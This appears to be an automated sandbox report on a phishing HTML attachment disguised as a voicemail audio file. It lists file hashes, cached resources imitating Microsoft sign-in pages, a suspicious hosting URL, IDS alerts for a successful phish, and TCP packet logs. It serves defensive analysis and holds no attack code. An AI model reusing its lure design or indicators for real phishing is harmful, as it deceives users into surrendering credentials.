Entropy (8bit):	4.6947645470095525
Encrypted:	false
SSDEEP:	1536:Pq6wJpJW3jInCU77Pc5ybMMHcFdL5RdD0BKt2AnsD5FWXxXLXv47pGXRMN6o8VbQ:dLzsCXo8cAcfO4FIwo7vwI70
MD5:	2D24E6DAB3336C82FC0346CF3D1B36ED
SHA1:	A22F2BED4BEA4BCEC28CF9FCCBA6451752D0D787
SHA-256:	DA7EC820F97FDEC4AE18427025E1E075C063D77AEC18C12682D554728D82880E
SHA-512:	D6FFB067A9A875FA752D06A13A6A8A528D0BB37A5294D3AA7F953F3452DD31FF8E78C06EF3030C5A2A849744543C4576C8D4F57A0BCA79CAEB3E16AE7EADEB1A
Malicious:	false
URL:	https://sopbtech.store/start/xls/includes/css6.css
Preview:	/!.. Bootstrap v4.0.0 (https://getbootstrap.com).. * Copyright 2011-2018 The Bootstrap Authors.. * Copyright 2011-2018 Twitter, Inc... * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE).. */.. :root {.. --blue: #007bff;.. --indigo: #6610f2;.. --purple: #6f42c1;.. --pink: #e83e8c;.. --red: #dc3545;.. --orange: #fd7e14;.. --yellow: #ffc107;.. --green: #28a745;.. --teal: #20c997;.. --cyan: #17a2b8;.. --white: #fff;.. --gray: #6c757d;.. --gray-dark: #343a40;.. --primary: #007bff;.. --secondary: #6c757d;.. --success: #28a745;.. --info: #17a2b8;.. --warning: #ffc107;.. --danger: #dc3545;.. --light: #f8f9fa;.. --dark: #343a40;.. --breakpoint-xs: 0;.. --breakpoint-sm: 576px;.. --breakpoint-md: 768px;.. --breakpoint-lg: 992px;.. --breakpoint-xl: 1200px;.. --font-family-sans-se

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32030)
Category:	downloaded
Size (bytes):	86709
Entropy (8bit):	5.367391365596119
Encrypted:	false
SSDEEP:	1536:9NhEyjjTikEJO4edXXe9J578go6MWXqcVhrLyB4Lw13sh2bzrl1+iuH7U3gBORDT:jxcq0hrLZwpsYbmzORDU8Cu5
MD5:	E071ABDA8FE61194711CFC2AB99FE104
SHA1:	F647A6D37DC4CA055CED3CF64BBC1F490070ACBA
SHA-256:	85556761A8800D14CED8FCD41A6B8B26BF012D44A318866C0D81A62092EFD9BF
SHA-512:	53A2B560B20551672FBB0E6E72632D4FD1C7E2DD2ECF7337EBAAAB179CB8BE7C87E9D803CE7765706BC7FCBCF993C34587CD1237DE5A279AEA19911D69067B65
Malicious:	false
URL:	https://code.jquery.com/jquery-3.1.1.min.js
Preview:	/! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.con

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 7390
Category:	downloaded
Size (bytes):	2407
Entropy (8bit):	7.900400471609788
Encrypted:	false
SSDEEP:	48:XVBUIsjnR4Zg0ddZ8E5EyQk7J0e+r/9lifUUuHDM3oOY+:XUIIKZg0ddZdEzTsfUUmyY+
MD5:	9D372E951D45A26EDE2DC8B417AAE4F8
SHA1:	84F97A777B6C33E2947E6D0BD2BFCFFEC601785A
SHA-256:	4E9C9141705E9A4D83514CEE332148E1E92126376D049DAED9079252FA9F9212
SHA-512:	78F5AA71EA44FF18BA081288F13AD118DB0E1B9C8D4D321ED40DCAB29277BD171BBB25BA7514566BBD4E25EA416C066019077FAA43E6ED781A29ADB683D218E2
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg
Preview:	...........Y=s.8......mr...f.y....8.R...l.Nk.l..?....{$.l\|e'zM.3...............S(..........O./......Mn.e..O..7.O.?=..?........../...~yy._t....8.a........~.....+..$..*..z..\....~..Jx\|............\|y...=................./.3....kN2...H...;<sy....H..?2..q5.0.0....f......L.^..v.W.L..7XCm8.I...6\.p.....O/%sX..I.......u............yE......$q....1/.....W....Zg...w..-..v....x...N)........R....c.W5.=...{_1_...+.#.......e...K..:..b.Ec...!...".I1../2X.....].i.sAF;^.1....1/UM.[r..d...>RX..U...<..1...V.\|.......X.jX:..0...9..F.KsT...{.6,.._Q..9.b...Q)..0.R.t.u.JN..u$V.%X.9k..t.."..Q.........y.V.Z$7.q.{......k.......W....5.x..K.."y...=......4...h\|!....r.."v\f`..c+.......b..hc.jn....0.&G..m.=.@..6../......6....tM^.&3.$......~.....m2...wFs..#5.Hy..?...r.p.O.X.'n...Z8L......7.;..QWGnr.sY..n...3.Jfq..+{m....\...X.q...0...0...........}}d...33.....Q...F$.8..v..UH&.H........0.q..n...q...F.Y7...u..B>..J.A.....$.,....w......Z..oe..w..%....$[+.......d...

Static File Info

General

File type:	HTML document, ASCII text, with CRLF line terminators
Entropy (8bit):	5.095398470162489
TrID:	HyperText Markup Language with DOCTYPE (12503/2) 17.73% HyperText Markup Language (12001/1) 17.02% HyperText Markup Language (12001/1) 17.02% HyperText Markup Language (11501/1) 16.31% HyperText Markup Language (11501/1) 16.31%
File name:	Play_VM.Now.matt.sibilo_Audio.wav...v.html
File size:	1'288 bytes
MD5:	d622f91ae3e63a950e04f3d95eb6f0bd
SHA1:	c636a71cf396d3530c0efdf9ba00962f313e22a9
SHA256:	0ba81f18e76139272fa0dc298e5794dfb19ded0e6b4123434b89265688168b43
SHA512:	2fead47c1c91778f3ccb3371be007493b0a41cbda47f3973bd6db32004885a8e5ac1cc8670419f3978f4d35830eafb0986e5e2d608d966f2f32f00199e6bfe7d
SSDEEP:	24:hMNmMvy4WKksJm/nm8dCUURNVMhaNVMufRMC6xup0NWk3vWFOMn:ImMq1oJMTCUhznCl0AcvWFRn
TLSH:	8F21DC6B1C85C81850329666A9FBF51CEA75B5036280D58DB8CCA20F9FF0BC88C87DDD
File Content Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="http://www.w3.org/1999/xhtml">..<head> .. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-wi

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-23T21:04:22.780021+0200	2847819	ETPRO PHISHING Successful Generic Phish 2021-03-25	1	192.168.2.6	49846	63.250.38.7	443	TCP
2024-10-23T21:04:35.774934+0200	2847819	ETPRO PHISHING Successful Generic Phish 2021-03-25	1	192.168.2.6	49914	63.250.38.7	443	TCP
2024-10-23T21:04:49.055762+0200	2847819	ETPRO PHISHING Successful Generic Phish 2021-03-25	1	192.168.2.6	49987	63.250.38.7	443	TCP
2024-10-23T21:05:09.563473+0200	2847819	ETPRO PHISHING Successful Generic Phish 2021-03-25	1	192.168.2.6	50028	63.250.38.7	443	TCP
2024-10-23T21:05:29.749450+0200	2847819	ETPRO PHISHING Successful Generic Phish 2021-03-25	1	192.168.2.6	50031	63.250.38.7	443	TCP
2024-10-23T21:06:11.058944+0200	2847819	ETPRO PHISHING Successful Generic Phish 2021-03-25	1	192.168.2.6	50035	63.250.38.7	443	TCP
2024-10-23T21:06:30.748701+0200	2847819	ETPRO PHISHING Successful Generic Phish 2021-03-25	1	192.168.2.6	50038	63.250.38.7	443	TCP
2024-10-23T21:07:12.858782+0200	2847819	ETPRO PHISHING Successful Generic Phish 2021-03-25	1	192.168.2.6	60642	63.250.38.7	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 23, 2024 21:03:53.278796911 CEST	49674	443	192.168.2.6	173.222.162.64
Oct 23, 2024 21:03:53.278851032 CEST	49673	443	192.168.2.6	173.222.162.64
Oct 23, 2024 21:03:53.606895924 CEST	49672	443	192.168.2.6	173.222.162.64
Oct 23, 2024 21:04:00.657397985 CEST	49710	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:00.657444954 CEST	443	49710	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:00.657537937 CEST	49710	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:00.659111023 CEST	49710	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:00.659132004 CEST	443	49710	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:01.143577099 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:01.143614054 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:01.143682957 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:01.143985033 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:01.144006014 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:01.822933912 CEST	443	49710	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:01.823009014 CEST	49710	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:01.828634024 CEST	49710	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:01.828651905 CEST	443	49710	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:01.829030037 CEST	443	49710	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:01.907665014 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:01.907763004 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:01.975538969 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:01.975558043 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:01.976578951 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:01.998770952 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:02.010986090 CEST	49710	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:02.039328098 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:02.046225071 CEST	49710	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:02.046446085 CEST	49710	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:02.046453953 CEST	443	49710	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:02.046675920 CEST	49710	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:02.091329098 CEST	443	49710	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:02.143198013 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:02.143235922 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:02.143320084 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:02.143886089 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:02.143904924 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:02.247824907 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:02.247878075 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:02.247921944 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:02.247971058 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:02.247984886 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:02.248014927 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:02.248035908 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:02.298078060 CEST	443	49710	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:02.364622116 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:02.364675045 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:02.364734888 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:02.364746094 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:02.364905119 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:02.409338951 CEST	49710	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:02.409359932 CEST	443	49710	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:02.424491882 CEST	443	49710	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:02.427615881 CEST	49710	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:02.436392069 CEST	49710	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:02.436418056 CEST	443	49710	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:02.481821060 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:02.481873989 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:02.481901884 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:02.481909990 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:02.481985092 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:02.598608017 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:02.598633051 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:02.598692894 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:02.598727942 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:02.598743916 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:02.598853111 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:02.715780020 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:02.715805054 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:02.715857983 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:02.715884924 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:02.715903997 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:02.715930939 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:02.763603926 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:02.764866114 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:02.764882088 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:02.766577005 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:02.766652107 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:02.772355080 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:02.772449970 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:02.773124933 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:02.773142099 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:02.832667112 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:02.832719088 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:02.832762003 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:02.832787037 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:02.832802057 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:02.832840919 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:02.898919106 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:02.898999929 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:02.899009943 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:02.899039030 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:02.899115086 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:02.899163008 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:02.899390936 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:02.899516106 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:02.899527073 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:02.899799109 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:02.899879932 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:02.899919987 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:02.899929047 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:02.900017023 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:02.900186062 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:02.916980982 CEST	49674	443	192.168.2.6	173.222.162.64
Oct 23, 2024 21:04:02.950095892 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:02.950146914 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:02.950189114 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:02.950241089 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:02.950277090 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:02.950300932 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.011344910 CEST	49673	443	192.168.2.6	173.222.162.64
Oct 23, 2024 21:04:03.011348009 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:03.016608000 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.016829014 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.016907930 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.016910076 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:03.016933918 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.016972065 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:03.017050982 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.017251968 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.017324924 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:03.017338991 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.048029900 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.048079967 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.048110962 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.048120022 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.048165083 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.063642025 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.063757896 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.063819885 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:03.063833952 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.063884974 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:03.117808104 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.117862940 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.117887020 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.117897034 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.117942095 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.117960930 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.134054899 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.134226084 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.134288073 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:03.134306908 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.134705067 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.134768963 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:03.134777069 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.200504065 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:03.234302998 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.234373093 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.234406948 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.234417915 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.234462023 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.234486103 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.252867937 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.252880096 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.252902031 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.252912998 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.252931118 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:03.252935886 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.252952099 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.253025055 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:03.253025055 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:03.301561117 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.301584959 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.301630020 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.301650047 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.301671028 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.301692963 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.310161114 CEST	49672	443	192.168.2.6	173.222.162.64
Oct 23, 2024 21:04:03.370146036 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.370157957 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.370198011 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.370218039 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.370229006 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:03.370240927 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.370440960 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:03.370440960 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:03.417557955 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.417581081 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.417629957 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.417637110 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.417670012 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.417690039 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.468822002 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.468884945 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.468910933 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.468919992 CEST	443	49711	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:03.468949080 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.468966961 CEST	49711	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:03.487409115 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.487421036 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.487446070 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.487457991 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.487473965 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:03.487497091 CEST	443	49716	151.101.194.137	192.168.2.6
Oct 23, 2024 21:04:03.487608910 CEST	49716	443	192.168.2.6	151.101.194.137
Oct 23, 2024 21:04:03.487608910 CEST	49716	443	192.168.2.6	151.101.194.137
